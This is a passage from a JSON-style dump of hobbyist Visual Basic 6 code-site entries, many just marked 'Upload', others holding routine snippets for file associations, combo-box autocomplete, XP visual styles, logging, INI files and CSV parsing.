Sub\n"},{"WorldId":1,"id":11679,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11700,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22649,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29069,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21975,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14621,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11949,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22691,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25533,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13540,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14381,"LineNumber":1,"line":"'//\t\t\t\t\t\t\tFile Association\n'//I made this to figure out how associate a file extension with a project I am currently '//working on called ZWord. I wanted '//the .zwd extension, so this is what I did.\n\n'//Goes Under General Declarations for Main Form\n'// Registry windows api calls\nPrivate Declare Function RegCreateKey& Lib \"advapi32.DLL\" Alias \"RegCreateKeyA\" (ByVal hKey As Long, ByVal lpszSubKey As String, lphKey As Long)\nPrivate Declare Function RegSetValue& Lib \"advapi32.DLL\" Alias \"RegSetValueA\" (ByVal hKey As Long, ByVal lpszSubKey As String, ByVal fdwType As Long, ByVal lpszValue As String, ByVal dwLength As Long)\n'// Required constants\nPrivate Const HKEY_CLASSES_ROOT = &H80000000\nPrivate Const MAX_PATH = 256&\nPrivate Const REG_SZ = 1\n'// procedure you call to associate the zwd extension with your program.\nPrivate Sub MakeDefault()\n Dim sKeyName As String '// Holds Key Name in registry.\n Dim sKeyValue As String '// Holds Key Value in registry.\n Dim ret As Long '// Holds error status if any from API calls.\n Dim lphKey As Long '// Holds created key handle from RegCreateKey.\n \n '// This creates a Root entry called \"ZWord\"\n sKeyName = \"ZWord\" '// Application Name\n sKeyValue = \"Zword Document\" '// File Description\n ret = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, lphKey)\n ret = RegSetValue&(lphKey&, Empty, REG_SZ, sKeyValue, 0&)\n '// This creates a Root entry called .zwd associated with \"ZWord\".\n sKeyName = \".zwd\" '// File Extension\n sKeyValue = \"ZWord\" '// Application Name\n ret = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, lphKey)\n ret = RegSetValue&(lphKey, Empty, REG_SZ, sKeyValue, 0&)\n '//This sets the command line for \"ZWord\".\n sKeyName = \"Zword\" '// Application Name\n If App.Path Like \"*\\\" Then\n sKeyValue = App.Path & App.EXEName & \".exe %1\" '// Application Path\n Else\n sKeyValue = App.Path & \"\\\" & App.EXEName & \".exe %1\" '// Application Path\n End If\n ret = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, lphKey)\n ret = RegSetValue&(lphKey, \"shell\\open\\command\", REG_SZ, sKeyValue, MAX_PATH)\nEnd Sub\n'//Stick This into the Form or MDIForm Load\n '// ensure we only register once. When debugging etc, remove the SaveSetting line, so your program will\n '// always attempt to register the file extension.\n If GetSetting(App.Title, \"Settings\", \"RegisteredFile\", 0) = 0 Then\n '// associate tmg extension with this app\n MakeDefault\n SaveSetting App.Title, \"Settings\", \"RegisteredFile\", 1\n End If\n \n'// If you are in an MDI App, then put this in \n'// MDIForm_Load:\nIf Command = \"\" Then\n Resume Next\nElse\n frmMain.ActiveForm.rtfText.LoadFile Command\nEnd If\n'// If you are in a SDI App, put this in Form_Load\nIf Command = \"\" Then\n Resume Next\nElse\n frmMain.rtfText.LoadFile Command\nEnd If"},{"WorldId":1,"id":12461,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14341,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12646,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11788,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11934,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11810,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14941,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15069,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22101,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23870,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21789,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11833,"LineNumber":1,"line":"Private Sub ComboBox_KeyPress(KeyAscii As Integer)\nTimer1.Enabled = True\nEnd Sub\nPrivate Sub Timer1_Timer()\nOn Error GoTo Oops\nWith ComboBox\nKounter = 0\nFor Kounter = 0 To .ListCount\nIf .Text = Left(.List(Kounter), Len(.Text)) Then\nOldLength = Len(.Text)\n.Text = .List(Kounter)\n.SelStart = OldLength\n.SelLength = Len(.Text) - OldLength\nTimer1.Enabled = False\nGoTo Oops\nEnd If\nNext Kounter\nEnd With\nOops:\nTimer1.Enabled = False\nEnd Sub"},{"WorldId":1,"id":11836,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11838,"LineNumber":1,"line":"'*************************************************\n'* This program was created by andreas \n'*gustafsson. \n'* Please do not change/remove this \n'*text '*\n'* Feel free to edit the code as you \n'*wish \n'* send comments to \n'*andreasgustafsson1@hotmail.com \n'* References: Microsoft scripting \n'*runtime \n'************************************************* Option Explicit\n Dim fso As New FileSystemObject\n 'The selected drive\n Dim strDrive As String\n 'The folderpath\n Dim strFolder As String\n 'Collection to store the selected filepaths\n \nPrivate Sub cmbDrives_Click()\n Dim drive As drive\n Dim File As File\n Dim SubFolder As Folder\n Dim i As Integer\n i = 0\n lstFiles.Clear\n If cmbDrives = \"\" Then Exit Sub\n strDrive = cmbDrives.Text\n strFolder = \"\"\n Set drive = fso.GetDrive(cmbDrives.Text)\n If drive.IsReady Then\n For Each File In drive.RootFolder.Files\n lstFiles.AddItem File.Name, i\n i = i + 1\n Next\n i = lstFiles.ListCount\n For Each SubFolder In _ drive.RootFolder.SubFolders\n lstFiles.AddItem SubFolder, i\n i = i + 1\n Next\n Else\n MsgBox \"Drives not ready\"\n End If\nEnd Sub\n'Moves to the parent folder (if any)\nPrivate Sub cmdup_Click()\n Dim Folder As Folder\n Dim File As File\n Dim SubFolder As Folder\n Dim i As Integer\n If strDrive = \"\" Then Exit Sub\n If strFolder = \"\" Then Exit Sub\n 'Get current folder\n Set Folder = fso.GetFolder(strDrive & _ strFolder)\n 'Find parent folder\n strFolder = Left(strFolder, InStrRev _(strFolder, \"\\\") - 1)\n lstFiles.Clear\n 'If parent exists\n If Not Folder.ParentFolder Is Nothing Then\n 'Add all files in parent\n For Each File In Folder.ParentFolder.Files\n lstFiles.AddItem File.Name, i\n i = i + 1\n Next\n i = lstFiles.ListCount\n 'Add all subfolders in parent\n For Each SubFolder In _ Folder.ParentFolder.SubFolders\n lstFiles.AddItem SubFolder, i\n i = i + 1\n Next\n Else 'If it not has parent\n For Each File In Folder.Files\n lstFiles.AddItem File.Name, i\n i = i + 1\n Next\n i = lstFiles.ListCount\n For Each SubFolder In Folder.SubFolders\n lstFiles.AddItem SubFolder, i\n i = i + 1\n Next\n End If\nEnd Sub\nPrivate Sub Form_Load()\n Dim drive As drive\n Dim i As Integer\n i = 0\n 'Add all drives to combo\n For Each drive In fso.Drives\n cmbDrives.AddItem drive.Path, i\n i = i + 1\n Next\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n Set fso = Nothing\nEnd Sub\nPrivate Sub lstFiles_Click()\n Dim Folder As Folder\n Dim SubFolder As Folder\n Dim File As File\n Dim i As Integer\n i = 0\n If Not lstFiles.SelCount > 1 Then\n 'if its a folder\n If InStr(lstFiles.Text, \":\\\") Then\n Set Folder = fso.GetFolder _(lstFiles.Text)\n lstFiles.Clear\n strFolder = strFolder & \"\\\" & _ Folder.Name\n 'Add all files\n For Each File In Folder.Files\n lstFiles.AddItem File.Name, i\n i = i + 1\n Next\n i = lstFiles.ListCount\n 'Add subfolders\n For Each SubFolder In _ Folder.SubFolders\n lstFiles.AddItem SubFolder, i\n i = i + 1\n Next\n End If\n End If\nEnd Sub\n"},{"WorldId":1,"id":32993,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12728,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30480,"LineNumber":1,"line":"Windows XP user? \nSo am I. But I didn't want to buy VB.NET. VB6 works just fine, thank you - except for one thing: \"Visual Styles\". How do you get your controls to have the new look and feel of Windows XP? Images or custom controls work, but the're big, hard to use, slow, and they usually don't support Windows XP visual styles (themes) - let alone large fonts or any of the other features in true Windows XP controls. So how do we make these \"true\" controls. It's easier than you might imagine. \nStep 1: Create a new project. Add your controls, just like you would normally. Add your code. It is recommended that you add the themed controls last because it is a simple procedure that can be applied once your entire project is done. There is no need to use custom controls, or to add special source. All nececary source is added when you theme your project (only about 10 lines) \nStep 2: Compile (make) your application into an EXE file.\nIf you open the application now it will have the \"classic\" visual style. This is for a reason. Your application is using the old Windows Common controls. How do we change this? With a MANIFEST file. \nIf you're not using Windows XP, stop here. MANIFEST files work only under Windows XP. You can add one without ill effects under other Windows operating systems, but you won't get the new controls if you don't have Windows XP. For Windows-XP like controls without Windows XP, this is the wrong place. \nWhat is a MANIFEST file? A MANIFEST file is a text file with the same name as your EXE but with .MANIFEST on the end. For example, the MANIFEST file for \"test.exe\" would be \"test.exe.MANIFEST\". The \".MANIFEST\" must be in all capitol letters. \nStep 3: Create a new text file with the same name as your EXE, except with \".MANIFEST\" on the end. \".MANIFEST\" must be in all caps. For example, for \"test.exe\", you would make a text file named \"test.exe.MANIFEST\". Notepad will suffice for creating the file. \nStep 4: Add the following text to your MANIFEST file: \n\n<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?> \n<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\"> \n <assemblyIdentity version=\"1.0.0.0\" processorArchitecture=\"x86\" name=\"prjThemed\" type=\"win32\" /> \n <dependency> \n <dependentAssembly> \n <assemblyIdentity type=\"win32\" name=\"Microsoft.Windows.Common-Controls\" version=\"6.0.0.0\" processorArchitecture=\"x86\" publicKeyToken=\"6595b64144ccf1df\" language=\"*\" /> \n </dependentAssembly> \n </dependency> \n</assembly> \n\n \nStep 5: Add the following code to your project in the startup form: \n\nPrivate Type INITCOMMONCONTROLSEX_TYPE \n dwSize As Long \n dwICC As Long \nEnd Type \nPrivate Declare Function InitCommonControlsEx Lib \"comctl32.dll\" (lpInitCtrls As _\n INITCOMMONCONTROLSEX_TYPE) As Long \nPrivate Const ICC_INTERNET_CLASSES = &H800\n \nStep 6: Add the following code to the Form_Load procedure of your starup form:\n \n Dim comctls As INITCOMMONCONTROLSEX_TYPE ' identifies the control to register \n Dim retval As Long ' generic return value \n With comctls \n .dwSize = Len(comctls) \n .dwICC = ICC_INTERNET_CLASSES \n End With \n retval = InitCommonControlsEx(comctls) \n \nStep 7: Recompile (make) your EXE, using the same EXE name as before (and the same name as your MANIFEST file, minus the \".MANIFEST\"). Execute your EXE file. \nThat's it! You can add controls to your project just like a normal VB project! \nYou can download a sample project and MANIFEST file below. Just right click on the project file and choose \"compile\" to compile the sample (you can also compile it from within the VB IDE). The project is just a simple demonstration of some of the Windows common controls."},{"WorldId":1,"id":11859,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11862,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12231,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13032,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21508,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32150,"LineNumber":1,"line":"Just one simple API call! See attached sample"},{"WorldId":1,"id":27902,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11869,"LineNumber":1,"line":"Public Sub ADO_OpenRs(rs As Recordset, szSource$, Optional bReadOnly = False)\n' Open or Requery a Recordset.\nOn Error GoTo lab_Err\nIf rs.State = adStateClosed Or rs.Source <> szSource Then\n If rs.State <> adStateClosed Then rs.Close\n rs.Open szSource, gCn, adOpenStatic, IIf(bReadOnly, adLockReadOnly, adLockOptimistic)\nElse\n rs.Requery\nEnd If\nlab_Exit:\n \n Exit Sub\n \nlab_Err:\n \n MsgBox Err.Description\n GoTo lab_Exit\n \nEnd Sub"},{"WorldId":1,"id":21392,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11883,"LineNumber":1,"line":"Public Function CollisionMovingImage(MovingImage As Variant, moveLeft As Integer, moveTop As Integer, Optional StaticImage As Variant) As Boolean\n\nOn Error GoTo ErrHandler:\n'If one of the parameters is not found or\n'some error happen in the function, it will\n'then exit.\n \n Dim MovingLeft, MovingRight, MovingTop, MovingBottom As Integer\n 'The Moving variables are used to get infos about the\n 'MovingImage.\n MovingLeft = MovingImage.Left + moveLeft\n MovingRight = (MovingImage.Left + moveLeft) + MovingImage.Width\n MovingTop = MovingImage.Top + moveTop\n MovingBottom = (MovingImage.Top + moveTop) + MovingImage.Height\n \n Dim okLeft, okTop As Boolean\n ' okLeft is use to see if the MovingImage has a point\n ' of its width in commun with the StaticImage. The\n ' okTop is used to see if it happens with the height.\n okLeft = True\n okTop = True\n 'They are set to true by default to allow the moving\n 'of the MovingImage if there is no StaticImage.\n \n \n If IsMissing(StaticImage) = False Then\n 'Execute the verification only if the\n 'StaticImage argument is used.\n \n Dim StaticLeft, StaticRight, StaticTop, StaticBottom As String\n 'The Static variables are used to get infos about\n 'the StaticImage.\n StaticLeft = StaticImage.Left\n StaticRight = StaticImage.Left + StaticImage.Width\n StaticTop = StaticImage.Top\n StaticBottom = StaticImage.Top + StaticImage.Height\n \n Dim i As Integer\n 'Verify if the MovingImage has a point\n 'of its width in commun with the StaticImage.\n For i = StaticLeft To StaticRight\n If (MovingLeft = i) Or (MovingRight = i) Then\n okLeft = False\n End If\n Next i\n \n 'Verify if the MovingImage has a point of\n 'its height in commun with the StaticImage.\n For i = StaticTop To StaticBottom\n If (MovingBottom = i) Or (MovingTop = i) Then\n okTop = False\n End If\n Next i\n \n 'Don't move the MovingPicture if there\n 'would be a collision.\n If okTop = False And okLeft = False Then\n 'Return true because the two objects\n 'would have a commun point.\n CollisionMovingImage = True\n GoTo ErrHandler:\n End If\n \n End If\n \n 'Move the MovingImage...\n 'You could remove the two following lines if you\n 'wanted the function to only tell you if there would\n 'be a collision or no.\n MovingImage.Left = MovingLeft\n MovingImage.Top = MovingTop\n 'Return false because there have been no collision\n CollisionMovingImage = False\n \nErrHandler:\n\nEnd Function"},{"WorldId":1,"id":13022,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13044,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12934,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12935,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12937,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13693,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22465,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12081,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11905,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14058,"LineNumber":1,"line":"Option Explicit\n'local variable(s) to hold property value(s)\nPrivate mvarDaysToKeep As Integer 'local copy\nPrivate Const File As String = \"classLogFile\"\nPublic Property Let DaysToKeep(ByVal vData As Integer)\n mvarDaysToKeep = vData\nEnd Property\n\nPublic Property Get DaysToKeep() As Integer\n DaysToKeep = mvarDaysToKeep\nEnd Property\n\n\nPublic Sub WriteLog(lstrMessage As String, Optional lstrProc As String, Optional lstrFile As String, Optional lboolNewEntry As Boolean)\n'**************************************************************\n'* procedure to write out log entries\n'* it accepts the following parameters:\n'* lstrMessage (String containing the message to be logged)\n'* lstrProc (optional string containing the procedure that\n'* generated the log entry)\n'* lstrFile (optional string containing the file that\n'* contains the procedure that generated the log entry)\n'* lboolNewEntry (optional boolean to force the procedure\n'* to treat this entry as a new entry thereby adding\n'* the entry separation formatting)\n'***************************************************************\n Dim lstrMyDate As String\n Dim lstrMyTime As String\n Dim lstrFileName As String\n Dim lintFileNum As Integer\n Dim lstrLogMessage As String\n Dim msg As String\n Const SubName = \"Public Sub oError.WriteLog(lstrMessage As String, Optional lstrProc As String, Optional lstrFile As String, Optional lboolNewEntry As Boolean)\"\n \n On Error GoTo Error\n ' get a free file number for the error.log file\n lintFileNum = FreeFile\n \n ' assign the file name\n lstrFileName = App.Path & \"\\error.log\"\n ' open the log file\n Open lstrFileName For Append As lintFileNum\n \n ' format and initialize the date and time variables\n lstrMyDate = Format(Date, \"mmm dd yyyy\")\n lstrMyTime = Format(Time, \"hh:mm:ss AMPM\")\n \n If lboolNewEntry = True Then\n ' write the top boundary of the log entry.\n lstrLogMessage = lstrMyDate & \" \" & lstrMyTime & \" ********************************************************************************** \"\n Print #lintFileNum, lstrLogMessage\n \n If Len(lstrFile) > 0 Then ' write the file\n lstrLogMessage = lstrMyDate & \" \" & lstrMyTime & \" *** File: \" & lstrFile\n Else\n lstrLogMessage = lstrMyDate & \" \" & lstrMyTime & \" *** File: Not Supplied\"\n End If\n If Len(lstrProc) > 0 Then ' write the procedure\n lstrLogMessage = lstrLogMessage & \" ***** \" & \" Procedure: \" & lstrProc\n Else\n lstrLogMessage = lstrLogMessage & \" ***** \" & \" Procedure: Not Supplied\"\n End If\n Print #lintFileNum, lstrLogMessage\n End If\n \n ' write the log entry\n lstrLogMessage = lstrMyDate & \" \" & lstrMyTime & \" *** \" & lstrMessage\n Print #lintFileNum, lstrLogMessage\n \n If lstrMessage = \"Normal Exit\" Then\n ' write the bottom boundary of the log entry.\n lstrLogMessage = lstrMyDate & \" \" & lstrMyTime & \" ********************************************************************************** \"\n Print #lintFileNum, lstrLogMessage\n End If\n \n 'close the log file\n Close lintFileNum\n Exit Sub\nError:\n msg = \"Error in creating or editing the error.log file.\" & vbCrLf\n msg = msg & \"Error: \" & Err.Number & \" - \" & Err.Description & vbCrLf\n msg = msg & \"Program File: \" & File & \"Procedure: \" & SubName\n MsgBox msg, vbCritical\n \n \nEnd Sub\nPrivate Sub RemoveOldLogEntries(Days As Integer)\n'*************************************************************\n'* RemoveOldLogEntries is a procedure that, as it's name\n'* implies parses thru the lines in the error log file created\n'* in the above oError.WriteLog procedure and removes entries\n'* past an number of days specified at the time this procedure\n'* is called\n'* It accepts the following parameters:\n'* Days (an integer that specifies the number of days\n'* beyond which to delete the log entries)\n'*************************************************************\n Dim lstrInFileName, lstrOutFileName As String\n Dim lstrLogEntry, lstrEntryDate As String\n Dim lintInFileNum, lintOutFileNum As Integer\n \n Const SubName = \"Private Sub RemoveOldLogEntries(Days As Integer)\"\n \n On Error GoTo Error\n WriteLog \"Removing log entries greater than \" & Str(Days) & \" days old.\", SubName, File, False\n \n ' assign the file name\n lstrInFileName = App.Path & \"\\error.log\"\n lstrOutFileName = App.Path & \"\\error.tmp\"\n \n If Dir(lstrInFileName) = \"error.log\" Then\n ' get a free file number for the error.log file\n lintInFileNum = FreeFile\n ' open the error.log file for reading and the error.tmp file for writing\n Open lstrInFileName For Input As lintInFileNum\n lintOutFileNum = FreeFile\n Open lstrOutFileName For Append As lintOutFileNum\n \n Do While Not EOF(lintInFileNum)\n Line Input #lintInFileNum, lstrLogEntry ' Read line into variable.\n \n lstrEntryDate = Left(lstrLogEntry, 11)\n If DateDiff(\"d\", lstrEntryDate, Now) <= Days Then\n Print #lintOutFileNum, lstrLogEntry\n Exit Do\n End If\nRecoverFromError:\n On Error GoTo Error:\n Loop\n Do While Not EOF(1)\n Line Input #lintInFileNum, lstrLogEntry\n Print #lintOutFileNum, lstrLogEntry\n Loop\n \n Close #lintInFileNum ' Close file.\n Close #lintOutFileNum\n Kill lstrInFileName\n Name lstrOutFileName As lstrInFileName\n End If\n Exit Sub\nError:\n If Err.Number = \"13\" Then\n GoTo RecoverFromError\n \n End If\n \n MsgBox \"Error: \" & Err.Number & \" - \" & Err.Description, vbCritical\nEnd Sub\nPublic Sub SimpleError(Optional SubName As String, Optional FormName As String)\n Dim msg As String\n If Len(SubName) = 0 Then SubName = \"Unspecified\"\n If Len(FormName) = 0 Then SubName = \"Unspecified\"\n msg = \"Error: \" & Err.Number & \" - \" & Err.Description\n MsgBox msg, vbCritical\n WriteLog msg, SubName, FormName, True\n \nEnd Sub\nPrivate Sub Class_Initialize()\n WriteLog App.EXEName & \" Started\", \"Private Sub Class_Initialize()\", File, True\n DaysToKeep = 1\nEnd Sub\nPrivate Sub Class_Terminate()\n WriteLog \"Terminating LogFile Object\", \"Private Sub Class_Terminate()\", File, True\n RemoveOldLogEntries DaysToKeep\n WriteLog \"Normal Exit\", \"Private Sub Class_Terminate()\", File, True\n \nEnd Sub"},{"WorldId":1,"id":33363,"LineNumber":1,"line":"Option Explicit\n' API Declarations\nPrivate Declare Function GetWindowsDirectory Lib \"kernel32\" Alias \"GetWindowsDirectoryA\" (ByVal lpBuffer As String, ByVal nSize As Long) As Long\nPrivate Declare Function GetPrivateProfileString Lib \"kernel32\" Alias \"GetPrivateProfileStringA\" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long\nPrivate Declare Function WritePrivateProfileString Lib \"kernel32\" Alias \"WritePrivateProfileStringA\" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long\n' Local variables to hold property values.\nPrivate mstrINIPath As String\nPrivate mstrFileName As String\nPrivate mstrWindowsPath As String\nPublic Property Get WindowsPath() As String\n WindowsPath = mstrWindowsPath\nEnd Property\nPrivate Property Let WindowsPath(ByVal strWindowsPath As String)\n mstrWindowsPath = strWindowsPath\nEnd Property\n'***************************\n'* Procedure: WindowsPathGet\n'* Copyright: (C) 2002, Bryan Johns\n'* Purpose : Uses an API call to set the read only WindowsPath property.\n'****************************\nPrivate Sub WindowsPathGet()\n Dim Y As String\n On Error GoTo Error\n mstrWindowsPath = Space(255)\n Y = GetWindowsDirectory(mstrWindowsPath, 255)\n mstrWindowsPath = Left$(mstrWindowsPath, Y)\n Exit Sub\nError:\n Err.Raise 10001, \"clsINI.cls\", \"Unable to read the windows path.\"\nEnd Sub\nPublic Property Get FileName() As String\n FileName = mstrFileName\nEnd Property\nPublic Property Let FileName(ByVal strFileName As String)\n mstrFileName = strFileName\nEnd Property\n'***************************\n'* Procedure: WriteINI\n'* Copyright: (C) 2002, Bryan Johns\n'* Purpose : Exposes the private WriteTo sub.\n'****************************\nPublic Sub WriteINI(Section As String, Field As String, Value As String)\n WriteTo Section, Field, Value\nEnd Sub\n'***************************\n'* Function : ReadINI\n'* Copyright: (C) 2002, Bryan Johns\n'* Purpose : Exposes the Private ReadFrom function.\n'***************************\nPublic Function ReadINI(Section As String, Field As String) As String\n ReadINI = ReadFrom(Section, Field)\nEnd Function\nPublic Property Get INIPath() As String\n INIPath = mstrINIPath\nEnd Property\nPublic Property Let INIPath(ByVal strINIPath As String)\n mstrINIPath = strINIPath\nEnd Property\n'***************************\n'* Function : ReadFrom\n'* Copyright: (C) 2002, Bryan Johns\n'* Purpose : Returns values read from the INI file.\n'***************************\nPrivate Function ReadFrom(lstrSection As String, lstrField As String) As String\n Dim varReturnedString As Integer\n Dim lstrResults As String\n lstrResults = Space(255)\n varReturnedString = GetPrivateProfileString&(lstrSection, lstrField, \"\", lstrResults, 255, mstrINIPath & \"\\\" & mstrFileName)\n lstrResults = Left$(lstrResults, varReturnedString)\n If Len(lstrResults) < 1 Then\n Err.Raise 10000, \"ReadFrom()\", \"Unable to read ini file entry.\"\n Exit Function\n End If\n ReadFrom = lstrResults\nEnd Function\n'***************************\n'* Procedure: WriteTo\n'* Copyright: (C) 2002, Bryan Johns\n'* Purpose : Writes values to the INI file.\n'****************************\nPrivate Sub WriteTo(lstrSection As String, lstrField As String, lstrDefaultValue As String)\n Dim X As Boolean\n X = WritePrivateProfileString&(lstrSection, lstrField, lstrDefaultValue, mstrINIPath & \"\\\" & mstrFileName)\n If X = False Then\n Err.Raise 10002, \"WriteTo()\", \"There was a critical error writing to the\" & mstrFileName & \" file.\"\n End If\nEnd Sub\nPrivate Sub Class_Initialize()\n ' get the windows path and assign it to the INIPath property so that if the user of this\n ' class module doesn't supply a path it's defaulted to the windows path.\n WindowsPathGet\n mstrINIPath = mstrWindowsPath\nEnd Sub"},{"WorldId":1,"id":12010,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12483,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11910,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11912,"LineNumber":1,"line":"Option Explicit\nPrivate Declare Function BitBlt Lib \"GDI32\" (ByVal hDestDC As Long, ByVal x As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal XSrc As Long, ByVal YSrc As Long, ByVal dwRop As Long) As Long\nSub Form_Load()\n Timer1.Enabled = True\n Timer1.Interval = 100\nEnd Sub\nSub Timer1_Timer()\n Static i As Integer\n i = i + 1\n If i < 10 Then\n ScrollText Picture1, \"Just a simple test #\" & i, True\n Else\n ScrollText Picture1, \"\", True\n End If\nEnd Sub\nSub ScrollText(pic As PictureBox, txt As String, up As Boolean)\n Dim ret As Long, vHeight As Long\n If pic.ScaleMode <> 3 Then pic.ScaleMode = 3\n vHeight = pic.TextHeight(txt)\n \n If up Then\n ret = BitBlt(pic.hDC, 0, -vHeight, pic.ScaleWidth, pic.ScaleHeight, pic.hDC, 0, 0, &HCC0020)\n pic.Line (0, pic.ScaleHeight - vHeight)-(pic.ScaleWidth, pic.ScaleHeight), pic.BackColor, BF\n pic.CurrentY = pic.ScaleHeight - vHeight\n Else 'down\n ret = BitBlt(pic.hDC, 0, vHeight, pic.ScaleWidth, pic.ScaleHeight, pic.hDC, 0, 0, &HCC0020)\n pic.Line (0, 0)-(pic.ScaleWidth, vHeight), pic.BackColor, BF\n pic.CurrentY = 0\n End If\n pic.CurrentX = (pic.ScaleWidth - pic.TextWidth(txt)) / 2 'centers text\n pic.Print txt\nEnd Sub\n"},{"WorldId":1,"id":25664,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11993,"LineNumber":1,"line":"Option Explicit\nPublic Function PSplit(sInstring As String) As Variant\n'\n' Author: Scott Bingham, July 2000\n'\n' Function Name: ' PSplit = Proper Split.\n'\n' Versions: VB 6.0 (Should work with 5.0 also)\n'\n' Overview:\n' This function is for use when parsing(splitting) a data string that\n' has a comma delimiter. The normal VB Split function does not take into\n' consideration of a comma embedded within a Fields' data string and\n' will parse the information incorrectly.\n'\n' This function takes into consideration the a data field may contain\n' a comma and parses the data as entire string. The data string being defined\n' as the data between the two Double-Quote marks. This function also\n' prunes the leading and trailing double quote marks\n'\n' Notes : Does NOT Correct improperly formatted Numeric amounts that\n' : contain a comma for the thousands placement, unless the number has\n' : leading and trailing Double-Quote marks.\n'\n' Errors : NONE\n'\n' Call : X() = PSplit(datastring to split.)\n'\n' Returns : Single-Dimension array, same result that you get\n' from the SPLIT Function.\n\n Dim sDelim$, iStringLength%, iDelimPosition%, sDoubleQuoteMark$\n Dim iIndex%, aData1() As String, sDatafield$\n Dim iDQPos1%, iDQPos2%\n '\n sDoubleQuoteMark = Chr$(34)\n sDelim = \",\"\n iStringLength = Len(sInstring)\n iIndex = 0\n '\n ' if the length of the data string is greater than zero\n If iStringLength > 0 Then\n ' search for a sDelimiter in the datastring\n iDelimPosition = InStr(sInstring, sDelim)\n '\n Do While iDelimPosition <> 0\n ' do while there is a sDelimiter\n ' search for a quote-enclosure set.\n iDQPos1 = InStr(sInstring, sDoubleQuoteMark)\n sDatafield = \"\"\n '\n If iDQPos1 <> 0 And iDQPos1 < iDelimPosition Then\n ' found Double quote mark, and it is found BEFORE\n ' the sDelimiter. Search for matching Double Quote Mark\n iDQPos2 = InStr(iDQPos1 + 1, sInstring, sDoubleQuoteMark)\n If iDQPos2 <> 0 Then\n If iDQPos2 = Len(sInstring) Then\n ' this is the last field of data so we remove the\n ' surrounding Double-Quote Marks.\n sInstring = Right(sInstring, Len(sInstring) - 1)\n sInstring = Left(sInstring, Len(sInstring) - 1)\n 'exit the Do loop and\n Exit Do\n End If\n ' Just found the Matching double Quote Mark\n ' data field ends at iDQPos2, not iDelimPosition\n sDatafield = Left(sInstring, iDQPos2)\n sInstring = Right(sInstring, Len(sInstring) - (Len(sDatafield) + 1))\n sDatafield = Right(sDatafield, Len(sDatafield) - 1)\n sDatafield = Left(sDatafield, Len(sDatafield) - 1)\n iIndex = iIndex + 1\n Else\n ' unmatched double quote usually specifies error with the\n ' data being read in.\n \n End If\n Else\n If iDQPos1 <> 0 Then\n ' Quote mark is FOUND AFTER the sDelimiter meaning the\n ' data to the sDelimiter is ok to use as a full field.\n ' Data ends at the sDelimiter.\n sDatafield = Left(sInstring, iDelimPosition - 1)\n sInstring = Right(sInstring, Len(sInstring) - (Len(sDatafield) + 1))\n iIndex = iIndex + 1\n Else\n ' there is NO double Quote Mark Found.\n sDatafield = Left(sInstring, iDelimPosition - 1)\n sInstring = Right(sInstring, Len(sInstring) - iDelimPosition)\n iIndex = iIndex + 1\n End If\n End If\n ReDim Preserve aData1(iIndex)\n aData1(iIndex) = sDatafield\n iDelimPosition = InStr(sInstring, sDelim)\n Loop\n iIndex = iIndex + 1\n ReDim Preserve aData1(iIndex)\n aData1(iIndex) = sInstring\n Else\n End If\n PSplit = aData1\nEnd Function\n"},{"WorldId":1,"id":12569,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23387,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23533,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23509,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32857,"LineNumber":1,"line":"'**************************************\n' Name: Use 